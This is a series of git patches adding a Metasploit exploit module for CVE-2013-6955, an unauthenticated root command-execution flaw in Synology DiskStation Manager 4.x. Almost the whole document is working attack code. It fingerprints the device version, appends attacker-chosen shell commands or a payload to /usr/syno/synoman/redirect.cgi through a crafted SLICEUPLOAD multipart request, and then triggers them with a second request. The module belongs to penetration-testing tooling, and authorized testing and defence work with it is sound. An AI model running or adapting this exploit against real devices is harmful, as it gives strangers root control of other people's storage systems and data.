From fe66d2437bc5f443e27ee60034b68283f9b840bf Mon Sep 17 00:00:00 2001 From: Markus Wulftange Date: Thu, 19 Dec 2013 22:08:23 +0100 Subject: [PATCH 1/7] Add module for CVE-2013-6955 Auxiliary module for Synology DiskStation Manager (DMS) SLICEUPLOAD vulnerability, which allows unauthenticated remote command execution under root privileges. --- .../synology_dsm_sliceupload_exec_noauth.rb | 146 ++++++++++++++++++ 1 file changed, 146 insertions(+) create mode 100644 modules/auxiliary/admin/http/synology_dsm_sliceupload_exec_noauth.rb diff --git a/modules/auxiliary/admin/http/synology_dsm_sliceupload_exec_noauth.rb b/modules/auxiliary/admin/http/synology_dsm_sliceupload_exec_noauth.rb new file mode 100644 index 0000000000..631bdcecbb --- /dev/null +++ b/modules/auxiliary/admin/http/synology_dsm_sliceupload_exec_noauth.rb @@ -0,0 +1,146 @@ +## +## This module requires Metasploit: http//metasploit.com/download +## Current source: https://github.com/rapid7/metasploit-framework +### + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + DEVICE_INFO_PATTERN = /major=(?\d+)&minor=(?\d+)&build=(?\d+) + &junior=\d+&unique=synology_\w+_(?[^&]+)/x + + def initialize(info={}) + super(update_info(info, + 'Name' => "Synology DiskStation Manager SLICEUPLOAD Unauthenticated Remote Command Execution", + 'Description' => %q{ + This module exploits a vulnerability found in Synology DiskStation Manager (DSM) + versions 4.x, which allows the execution of arbitrary commands under root + privileges. + The vulnerability is located in /webman/imageSelector.cgi, which allows to append + arbitrary data to a given file using a so called SLICEUPLOAD functionality, which + can be triggered by an unauthenticated user with a specially crafted HTTP request. + This is exploited by this module to append the given commands to /redirect.cgi, + which is a regular shell script file, and can be invoked with another HTTP request. + Synology reported that the vulnerability has been fixed with versions 4.0-2259, + 4.2-3243, and 4.3-3810 Update 1, respectively; the 4.1 branch remains vulnerable. + }, + 'Author' => + [ + 'Markus Wulftange' # Discovery, Metasploit module + ], + 'License' => MSF_LICENSE, + 'Privileged' => false, + 'DisclosureDate' => 'Oct 31 2013', + 'References' => + [ + ['CVE', '2013-6955'], + ] + )) + + register_options( + [ + Opt::RPORT(5000), + OptString.new('CMD', [true, 'The shell command to execute']) + ], self.class) + end + + def peer + "#{rhost}:#{rport}" + end + + def check + print_status("#{peer} - Trying to detect installed version") + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri('/webman/info.cgi?host=') + }) + + if res and res.code == 200 and res.body =~ DEVICE_INFO_PATTERN + version = "#{$~[:major]}.#{$~[:minor]}" + build = $~[:build] + model = $~[:model].sub(/^[a-z]+/) { |s| s[0].upcase } + model = "DS#{model}" unless model =~ /^[A-Z]/ + else + print_status("#{peer} - Detection failed") + return Exploit::CheckCode::Unknown + end + + print_status("#{peer} - Model #{model} with version #{version}-#{build} detected") + + case version + when '4.0' + return Exploit::CheckCode::Vulnerable if build < '2259' + when '4.1' + return Exploit::CheckCode::Vulnerable + when '4.2' + return Exploit::CheckCode::Vulnerable if build < '3243' + when '4.3' + return Exploit::CheckCode::Vulnerable if build < '3810' + return Exploit::CheckCode::Detected if build == '3810' + end + + Exploit::CheckCode::Safe + end + + def run + cmds = [ + # sed is used to restore the redirect.cgi + "sed -i -e '/sed -i -e/,$d' /usr/syno/synoman/redirect.cgi", + datastore['CMD'] + ].join("\n") + + mime_msg = Rex::MIME::Message.new + mime_msg.add_part('login', nil, nil, 'form-data; name="source"') + mime_msg.add_part('logo', nil, nil, 'form-data; name="type"') + + # unfortunately, Rex::MIME::Message canonicalizes line breaks to \r\n, + # so we use a placeholder and replace it later + cmd_placeholder = Rex::Text::rand_text_alphanumeric(10) + mime_msg.add_part(cmd_placeholder, 'application/octet-stream', nil, + 'form-data; name="foo"; filename="bar"') + + post_body = mime_msg.to_s + post_body.strip! + post_body.sub!(cmd_placeholder, cmds) + + # fix multipart encoding + post_body.gsub!(/\r\n(--#{mime_msg.bound})/, ' \\1') + + # send request to append shell commands + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => '/webman/imageSelector.cgi', + 'ctype' => "multipart/form-data; boundary=#{mime_msg.bound}", + 'headers' => { + 'X-TYPE-NAME' => 'SLICEUPLOAD', + 'X-TMP-FILE' => '/usr/syno/synoman/redirect.cgi' + }, + 'data' => post_body + }) + + if !res or res.code != 200 or !res.body.include?('error_noprivilege') + print_error("#{peer} - Unexpected response, probably the exploit failed") + return + end + + # send request to invoke the injected shell commands + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => '/redirect.cgi' + }) + + if !res or res.code != 200 + print_error("#{peer} - Unexpected response, probably the exploit failed") + return + end + + print_good("#{peer} - Command successfully executed") + print_line(res.body) + end +end + From 0718c27f47495f528de313dabf859d006d37deb6 Mon Sep 17 00:00:00 2001 From: Markus Wulftange Date: Fri, 20 Dec 2013 15:09:32 +0100 Subject: [PATCH 2/7] Use 'unless' instead of 'if not' --- .../admin/http/synology_dsm_sliceupload_exec_noauth.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/admin/http/synology_dsm_sliceupload_exec_noauth.rb b/modules/auxiliary/admin/http/synology_dsm_sliceupload_exec_noauth.rb index 631bdcecbb..9c919070ee 100644 --- a/modules/auxiliary/admin/http/synology_dsm_sliceupload_exec_noauth.rb +++ b/modules/auxiliary/admin/http/synology_dsm_sliceupload_exec_noauth.rb @@ -123,7 +123,7 @@ class Metasploit3 < Msf::Auxiliary 'data' => post_body }) - if !res or res.code != 200 or !res.body.include?('error_noprivilege') + unless res and res.code == 200 and res.body.include?('error_noprivilege') print_error("#{peer} - Unexpected response, probably the exploit failed") return end @@ -134,7 +134,7 @@ class Metasploit3 < Msf::Auxiliary 'uri' => '/redirect.cgi' }) - if !res or res.code != 200 + unless res and res.code == 200 print_error("#{peer} - Unexpected response, probably the exploit failed") return end From 15f6a62f90cf4c3cd5d3ab74b97c4b6be2abf825 Mon Sep 17 00:00:00 2001 From: Markus Wulftange Date: Fri, 20 Dec 2013 15:10:10 +0100 Subject: [PATCH 3/7] Msf::Exploit::Remote::HttpClient already provides 'peer' --- .../admin/http/synology_dsm_sliceupload_exec_noauth.rb | 4 ---- 1 file changed, 4 deletions(-) diff --git a/modules/auxiliary/admin/http/synology_dsm_sliceupload_exec_noauth.rb b/modules/auxiliary/admin/http/synology_dsm_sliceupload_exec_noauth.rb index 9c919070ee..9e6a650e7b 100644 --- a/modules/auxiliary/admin/http/synology_dsm_sliceupload_exec_noauth.rb +++ b/modules/auxiliary/admin/http/synology_dsm_sliceupload_exec_noauth.rb @@ -48,10 +48,6 @@ class Metasploit3 < Msf::Auxiliary ], self.class) end - def peer - "#{rhost}:#{rport}" - end - def check print_status("#{peer} - Trying to detect installed version") From 929f3ea35c22ab0ae39bd30d03137b1d5e528b95 Mon Sep 17 00:00:00 2001 From: Markus Wulftange Date: Fri, 20 Dec 2013 16:45:38 +0100 Subject: [PATCH 4/7] Turn Auxiliary module into Exploit module --- .../synology_dsm_sliceupload_exec_noauth.rb | 26 +++++++++++++++---- 1 file changed, 21 insertions(+), 5 deletions(-) rename modules/{auxiliary/admin => exploits/linux}/http/synology_dsm_sliceupload_exec_noauth.rb (89%) diff --git a/modules/auxiliary/admin/http/synology_dsm_sliceupload_exec_noauth.rb b/modules/exploits/linux/http/synology_dsm_sliceupload_exec_noauth.rb similarity index 89% rename from modules/auxiliary/admin/http/synology_dsm_sliceupload_exec_noauth.rb rename to modules/exploits/linux/http/synology_dsm_sliceupload_exec_noauth.rb index 9e6a650e7b..effcdf7345 100644 --- a/modules/auxiliary/admin/http/synology_dsm_sliceupload_exec_noauth.rb +++ b/modules/exploits/linux/http/synology_dsm_sliceupload_exec_noauth.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient @@ -34,6 +34,23 @@ class Metasploit3 < Msf::Auxiliary ], 'License' => MSF_LICENSE, 'Privileged' => false, + 'Platform' => ['unix'], + 'Arch' => ARCH_CMD, + 'Payload' => + { + 'DisableNops' => true, + 'Space' => 0x31337, + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic perl telnet', + } + }, + 'Targets' => + [ + ['Automatic', {}] + ], + 'DefaultTarget' => 0, 'DisclosureDate' => 'Oct 31 2013', 'References' => [ @@ -43,8 +60,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - Opt::RPORT(5000), - OptString.new('CMD', [true, 'The shell command to execute']) + Opt::RPORT(5000) ], self.class) end @@ -83,11 +99,11 @@ class Metasploit3 < Msf::Auxiliary Exploit::CheckCode::Safe end - def run + def exploit cmds = [ # sed is used to restore the redirect.cgi "sed -i -e '/sed -i -e/,$d' /usr/syno/synoman/redirect.cgi", - datastore['CMD'] + payload.encoded ].join("\n") mime_msg = Rex::MIME::Message.new From 1da961343a955f20ec42534d1625c2bb6a4c264f Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 20 Dec 2013 11:20:29 -0600 Subject: [PATCH 5/7] Do final (minor) cleanup --- .../synology_dsm_sliceupload_exec_noauth.rb | 35 ++++++++++--------- 1 file changed, 19 insertions(+), 16 deletions(-) diff --git a/modules/exploits/linux/http/synology_dsm_sliceupload_exec_noauth.rb b/modules/exploits/linux/http/synology_dsm_sliceupload_exec_noauth.rb index effcdf7345..980c6a1fdf 100644 --- a/modules/exploits/linux/http/synology_dsm_sliceupload_exec_noauth.rb +++ b/modules/exploits/linux/http/synology_dsm_sliceupload_exec_noauth.rb @@ -15,7 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info={}) super(update_info(info, - 'Name' => "Synology DiskStation Manager SLICEUPLOAD Unauthenticated Remote Command Execution", + 'Name' => "Synology DiskStation Manager SLICEUPLOAD Remote Command Execution", 'Description' => %q{ This module exploits a vulnerability found in Synology DiskStation Manager (DSM) versions 4.x, which allows the execution of arbitrary commands under root @@ -32,7 +32,10 @@ class Metasploit3 < Msf::Exploit::Remote [ 'Markus Wulftange' # Discovery, Metasploit module ], - 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2013-6955' ], + ], 'Privileged' => false, 'Platform' => ['unix'], 'Arch' => ARCH_CMD, @@ -51,11 +54,8 @@ class Metasploit3 < Msf::Exploit::Remote ['Automatic', {}] ], 'DefaultTarget' => 0, - 'DisclosureDate' => 'Oct 31 2013', - 'References' => - [ - ['CVE', '2013-6955'], - ] + 'License' => MSF_LICENSE, + 'DisclosureDate' => 'Oct 31 2013' )) register_options( @@ -121,9 +121,10 @@ class Metasploit3 < Msf::Exploit::Remote post_body.sub!(cmd_placeholder, cmds) # fix multipart encoding - post_body.gsub!(/\r\n(--#{mime_msg.bound})/, ' \\1') + post_body.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part") # send request to append shell commands + print_status("#{peer} - Injecting the payload...") res = send_request_cgi({ 'method' => 'POST', 'uri' => '/webman/imageSelector.cgi', @@ -136,23 +137,25 @@ class Metasploit3 < Msf::Exploit::Remote }) unless res and res.code == 200 and res.body.include?('error_noprivilege') - print_error("#{peer} - Unexpected response, probably the exploit failed") - return + fail_with(Failure::Unknown, "#{peer} - Unexpected response, probably the exploit failed") end # send request to invoke the injected shell commands + print_status("#{peer} - Executing the payload...") res = send_request_cgi({ 'method' => 'GET', 'uri' => '/redirect.cgi' }) - unless res and res.code == 200 - print_error("#{peer} - Unexpected response, probably the exploit failed") - return - end + # Read command output if cmd/unix/generic payload was used + if datastore['CMD'] + unless res and res.code == 200 + fail_with(Failure::Unknown, "#{peer} - Unexpected response, probably the exploit failed") + end - print_good("#{peer} - Command successfully executed") - print_line(res.body) + print_good("#{peer} - Command successfully executed") + print_line(res.body) + end end end From af13334c84d9b6688bfd5c1118283714c7e883c1 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 20 Dec 2013 11:39:49 -0600 Subject: [PATCH 6/7] Revert gsub! --- .../exploits/linux/http/synology_dsm_sliceupload_exec_noauth.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/synology_dsm_sliceupload_exec_noauth.rb b/modules/exploits/linux/http/synology_dsm_sliceupload_exec_noauth.rb index 980c6a1fdf..53c1c4152b 100644 --- a/modules/exploits/linux/http/synology_dsm_sliceupload_exec_noauth.rb +++ b/modules/exploits/linux/http/synology_dsm_sliceupload_exec_noauth.rb @@ -121,7 +121,7 @@ class Metasploit3 < Msf::Exploit::Remote post_body.sub!(cmd_placeholder, cmds) # fix multipart encoding - post_body.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part") + post_body.gsub!(/\r\n(--#{mime_msg.bound})/, ' \\1') # send request to append shell commands print_status("#{peer} - Injecting the payload...") From 163a54f8b1d2a363eea46811e1ddfea180fcff1d Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 20 Dec 2013 17:00:57 -0600 Subject: [PATCH 7/7] Do send_request_cgi final clean up --- .../linux/http/synology_dsm_sliceupload_exec_noauth.rb | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/modules/exploits/linux/http/synology_dsm_sliceupload_exec_noauth.rb b/modules/exploits/linux/http/synology_dsm_sliceupload_exec_noauth.rb index 53c1c4152b..6af3cd3e5d 100644 --- a/modules/exploits/linux/http/synology_dsm_sliceupload_exec_noauth.rb +++ b/modules/exploits/linux/http/synology_dsm_sliceupload_exec_noauth.rb @@ -68,8 +68,9 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Trying to detect installed version") res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri('/webman/info.cgi?host=') + 'method' => 'GET', + 'uri' => normalize_uri('webman', 'info.cgi'), + 'vars_get' => { 'host' => ''} }) if res and res.code == 200 and res.body =~ DEVICE_INFO_PATTERN @@ -127,7 +128,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Injecting the payload...") res = send_request_cgi({ 'method' => 'POST', - 'uri' => '/webman/imageSelector.cgi', + 'uri' => normalize_uri('webman', 'imageSelector.cgi'), 'ctype' => "multipart/form-data; boundary=#{mime_msg.bound}", 'headers' => { 'X-TYPE-NAME' => 'SLICEUPLOAD', @@ -144,7 +145,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Executing the payload...") res = send_request_cgi({ 'method' => 'GET', - 'uri' => '/redirect.cgi' + 'uri' => normalize_uri('redirect.cgi'), }) # Read command output if cmd/unix/generic payload was used